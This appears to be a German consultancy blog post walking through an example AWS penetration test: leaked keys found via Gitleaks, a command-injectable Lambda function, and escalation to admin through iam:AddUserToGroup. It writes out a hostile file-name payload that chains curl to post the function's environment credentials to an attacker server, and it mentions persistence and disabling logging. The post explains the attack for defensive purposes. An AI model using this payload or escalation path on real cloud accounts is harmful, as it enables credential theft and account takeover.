Einstieg in einen AWS-Penetrationstest
Sicherheitslücken in der Cloud finden
Immer mehr Unternehmen entscheiden sich dafür, ihre Applikationen und Systeme in die Cloud auszulagern. Doch mit der Vielzahl und Komplexität der angebotenen Services gehen auch potenzielle Sicherheitsrisiken einher. In diesem Beitrag geben wir Einblicke in einen AWS-Penetrationstest, der exemplarisch aufzeigt, wie durch das gezielte Ausnutzen von Sicherheitslücken in der Amazon-Web-Services-(AWS-)Umgebung sensible Daten gefährdet sind und Angreifer die Möglichkeit erhalten, die Kontrolle über einen AWS-Account zu erlangen.
AWS-Penetrationstest planen: Das Szenario
In diesem Szenario ist das Ziel des Angreifers, die vermeintlich verborgene Schwachstelle in der Infrastruktur des Kunden aufzudecken. Penetrationstests erfolgen in der Regel nach einem strukturierten Phasenmodell:
- Recherche nach Informationen über das Zielsystem
- Scan des Zielsystems auf angebotenen Diensten
- System- und Anwendungserkennung
- Recherche nach Schwachstellen und Ausnutzung der Schwachstellen [1].
AWS-Zielsystem: Recherche nach Informationen
Bei der Recherche nach Informationen wird die sogenannte Open Source Intelligence (OSINT) genutzt. In unserem Szenario hat der Angreifer mit OSINT Zugangsdaten für einen AWS-Account gefunden. Beim Durchlaufen der weiteren Phasen werden Schwachstellen in der Konfiguration verschiedener Dienste aufgedeckt und erfolgreich ausgenutzt. Am Ende des Angriffs hat der Angreifer die komplette Kontrolle über den AWS-Account.
Bei einem Penetrationstest wird als Erstes versucht, möglichst viele Daten über das Ziel zu sammeln. Mit OSINT werden alle öffentlich verfügbaren Daten zusammengetragen. Diese können z. B. von der Unternehmenswebseite, Blogbeiträgen oder von jeder Webseite kommen, bei der ein Angestellter des Ziels einen Account besitzt. Auf Basis der gefundenen Informationen kann der Angreifer seine ersten Schritte planen und in die oben erwähnte zweite Phase übergehen.
Scan des AWS-Zielsystems auf angebotene Dienste
Bei diesem Beispielangriff wurden Zugangsdaten in einem öffentlichen GitHub-Repository gefunden. Gitleaks, ein leistungsstarkes Open-Source-Tool für die Sicherheitsüberprüfung von GitHub-Repositorien, spielt eine entscheidende Rolle im Arsenal eines Angreifers. Es ermöglicht ihm, das gesamte Repository und die umfassende Commit-History gründlich zu durchsuchen, um potenziell gefährdete Informationen wie Zugangsdaten, API-Schlüssel und andere sensible Daten aufzudecken. Da alles, was einmal in das Repository commitet wurde, dauerhaft einsehbar bleibt, können selbst unbeabsichtigt offengelegte Informationen zu einem erheblichen Sicherheitsrisiko für das gesamte Projekt werden.
In Abb. 1 zu sehen ist die Ausgabe dieses Tools. Es wurden Zugangsdaten für einen AWS-Account gefunden. Dies ist an den Zeilen Match und Secret zu erkennen. Dabei handelt es sich um den Benutzernamen eines sogenannten Access Keys. Ein Access Key ist ein spezieller Identifikator, der aus einem Zugriffsschlüssel und einem geheimen Schlüssel besteht. Der Zugriffsschlüssel identifiziert den Benutzer oder die Anwendung, während der geheime Schlüssel zur Authentifizierung gegenüber AWS verwendet wird. Diese werden immer nach einer gewissen Syntax generiert und sind daher leicht zu identifizieren. In den Details eines älteren Commits wurden der Benutzername und das Passwort für einen AWS Access Key eines Entwicklers gefunden.
AWS-Account hacken: System- und Anwendungserkennung
Nachdem Zugangsdaten im Repository gefunden wurden, fängt die nächste Phase des Penetrationstests an. Laut Modell ist das die Phase "System- und Anwendungserkennung". Der Name orientiert sich an einem klassischen Penetrationstest von Servern und ist im Fall der AWS nicht ganz treffend. Aber auch in der Cloud wird zuerst eine Übersicht der erreichbaren Dienste erstellt. Dazu gibt es verschiedene Tools und Vorgehensweisen, um sich eine Übersicht über die AWS-Umgebung zu verschaffen. Für den Penetrationstest wurde ausschließlich das offizielle Command-Line-Tool von Amazon verwendet. Dieses kann alle AWS-Dienste auflisten und deren Konfiguration ändern.
Für die Informationsbeschaffung werden wir die zwei Module lambda und iam der AWS-CLI verwenden. Die Module sind immer sehr ähnlich aufgebaut. Beide haben Funktionen, mit denen die Ressourcen aufgelistet werden können. Im Verlauf der Informationsbeschaffung haben wir den AWS-Dienst Lambda ausfindig machen können. Über diese Lambda-Funktion können Entwickler schnell und unkompliziert ihren Code ausführen, ohne die für die Ausführung benötigte Infrastruktur bereitzustellen.
In der Regel gibt es zwei Möglichkeiten zur Analyse des Codes einer Funktion: Entweder durch manuelle Überprüfung oder mithilfe eines Tools. Da der entdeckte Code in Python verfasst und nicht besonders umfangreich ist, wurde eine manuelle Überprüfung des Codes durchgeführt. Durch die Analyse des Codes konnten wir herausfinden, dass die Funktion anfällig für eine sogenannte Command Injection ist. Das bedeutet, dass der Angreifer die Funktion so manipulieren kann, dass Code ausgeführt wird, der so vom Entwickler nicht vorgesehen war. Die Information, dass es eine Schwachstelle gibt und wie diese auszunutzen ist, reicht allerdings noch nicht. Was fehlt ist die Information, was durch das erfolgreiche Ausnutzen erreicht werden kann.
Damit die Lambda-Funktion mit anderen AWS-Diensten interagieren kann, bekommt diese eine von Amazon verwaltete Rolle zugewiesen. Zu dieser Rolle gibt es auch einen Benutzernamen und ein Passwort. Sollte ein Angreifer an diese Zugangsdaten gelangen, kann er sich damit in dem AWS-Account authentifizieren. In Abb. 2 ist zu sehen, welche Rechte diese Rolle hat. Diese werden im Block Action angegeben. Hierbei auffällig und wichtig ist das Recht iam:AddUserToGroup. Es ist ein von AWS bereitgestelltes Recht im Bereich des Identity & Access Managements (IAM).
Unter dem Block Action wurde mittels Ressource eine Einschränkung definiert. Hier ist der Wert auf * gesetzt. Das ist eine sogenannte Wildcard und bedeutet, dass die unter Action aufgelisteten Rechte ohne eine Einschränkung angewandt werden können. Dies stellt ein erhebliches Sicherheitsrisiko dar.
Die Lambda-Funktion kann entweder manuell oder durch ein externes Ereignis (Trigger) aufgerufen werden. In der folgenden Abb. 3 ist ein Auszug der Konfiguration der Lambda-Funktion zu sehen, aus dem hervorgeht, unter welchen Bedingungen sie ausgeführt wird.
Durch die Parameter lambda:InvokeFunction und AWS:SourceARN ist erkennbar, dass die Funktion durch einen Trigger aufgerufen wird, wenn in einem bestimmten S3-Bucket eine Datei hochgeladen wird. Ein S3-Bucket ist Amazons Service für die Dateiablage. Diese kann wie ein Ordner in Windows benutzt werden.
Um das volle Potenzial einer Command Injection abschätzen zu können, müssen noch die Gruppen und deren Rechte enumeriert werden. Denn mit dem Recht iam:addUserToGroup kann zwar ein User einer Gruppe hinzugefügt werden, das hilft dem Angreifer aber nur, wenn er dadurch mehr Rechte bekommt. Bei der Enumeration fällt auf, dass die Gruppe entwickler-admin volle administrative Rechte besitzt.
Basierend auf diesen Informationen gewinnen wir Einblicke darüber, wie die Lambda-Funktion ausgenutzt werden kann, wie sie aufgerufen wird und welche Ziele ein erfolgreicher Angriff verfolgen würde.
Ausnutzung der Schwachstellen in AWS
In diesem Abschnitt der Funktion wird deutlich die Schwachstelle sichtbar, die wir ausnutzen werden. Durch die Analyse des Codes erkennen wir, dass die Variable tar_path den Namen der hochgeladenen Datei enthält, den wir kontrollieren können. Dies ermöglicht uns, den hochgeladenen Dateinamen zu manipulieren. Weiterhin speichert die Rolle der Lambda-Funktion Zugangsdaten in Umgebungsvariablen, mit denen die Rechte unseres Benutzers erweitert werden können. Um die Schwachstelle auszunutzen, haben wir Python-Code im Namen der hochgeladenen Datei versteckt. Der Dateiname lautet wie folgt: hello;curl -X POST -d "`env`" {IP-Adresse};.tar. Durch das erste Semikolon wird der ursprüngliche Befehl tar -tf {tar_path} beendet. Anschließend wird der Befehl tar -tf hello ausgeführt, gefolgt von curl -X POST -d "`env`" {IP-Adresse}, der die Umgebungsvariablen der Lambda-Funktion an einen externen Server sendet, den wir kontrollieren. Auf diesem Server läuft ein Programm, das die empfangenen Daten verarbeitet. Diese Zugangsdaten sind nur für eine begrenzte Zeit gültig. In der Regel handelt es sich hierbei um eine Stunde. Durch diese Schwachstelle ist es also möglich, sensible Daten an einen externen Server zu senden.
Erweiterung der Rechte in AWS
Die Erhöhung unserer Rechte ist an diesem Punkt sehr geradlinig. Über die AWS-CLI melden wir uns mit den temporären Zugangsdaten an. Dadurch, dass die Rolle das Recht iam:AddUserToGroup hat, kann unser bereits kompromittierter Benutzer zu jeder Gruppe hinzugefügt werden und wird daher der zuvor gefundenen Gruppe entwickler-admin hinzugefügt.
Möglichkeiten mit den neuen Rechten
Der Penetrationstest endet an dieser Stelle. Durch initial geleakte Zugangsdaten haben wir uns Zugriff verschafft und administrative Rechte erlangt. Bei einem Angriff mit böser Absicht bietet sich hier eine Vielzahl von Möglichkeiten. Es kann zum Beispiel der Zugriff auf den AWS-Account persistiert werden. Das kann bedeuten, dass der Angreifer einen neuen Benutzer anlegt oder das Protokollieren von Ereignissen ausschaltet. Dadurch kann ein langfristiger und unentdeckter Zugriff ermöglicht werden. Ein anderes Ziel kann das Verursachen von möglichst viel Schaden bei dem Opfer sein. Zum einen können im AWS-Account bestehende Ressourcen hinzugefügt oder geändert werden und dadurch schnell hohe Kosten entstehen, aber auch Ressourcen gelöscht oder Daten gestohlen werden. Dies zielt meist auf Reputationsverlust oder das Zahlen von Lösegeld ab. Dadurch, dass administrative Rechte erlangt worden sind, gibt es für den Angreifer keine Grenzen mehr.
AWS-Penetrationstests in der Praxis: Fazit
In diesem Szenario haben wir detailliert dargestellt, wie ein unprivilegierter Benutzer Fehlkonfigurationen und Programmierfehler ausnutzt, um seine Rechte zu erhöhen. Wir haben anschauliche Beispiele präsentiert, die verdeutlichen, welche Ziele ein Angreifer verfolgen und welchen Schaden er anrichten kann. Die hier aufgezeigten Schwachstellen lassen sich durch einfache Maßnahmen verhindern.
Darüber hinaus bieten wir bei ITGAIN neben dem AWS-Penetrationstest auch andere Arten von Penetrationstests an, die unterschiedliche Bereiche und Umfänge abdecken. Diese gibt es auch im Umfang von Managed Penetration Testing Service (PTaaS), welcher regelmäßige Penetrationstests umfasst und Hilfe bei der Umsetzung von Verbesserungsmaßnahmen bietet, falls Schwachstellen aufgedeckt werden.
Ob es um die Prävention von Zugangsdatenlecks in Repositories geht oder um die Einhaltung von Best Practices wie den CIS-Benchmarks des Centers of Internet Security (CIS) – wir stehen Ihnen zur Seite. Diese Benchmarks sind weltweit anerkannte und konsensbasierte bewährte Methoden, die Sicherheitsexperten bei der Implementierung und Verwaltung ihrer Cybersicherheitsverteidigung unterstützen. Mit unserem Spezialwissen im Security-Bereich tragen wir gezielt zur Einhaltung höherer Sicherheitsstandards in Ihrem Unternehmen bei.
Wenn Sie Fragen oder Interesse an einer Beratung oder einem Penetrationstest Ihrer Cloud-Umgebung haben, zögern Sie bitte nicht, sich mit uns in Verbindung zu setzen.
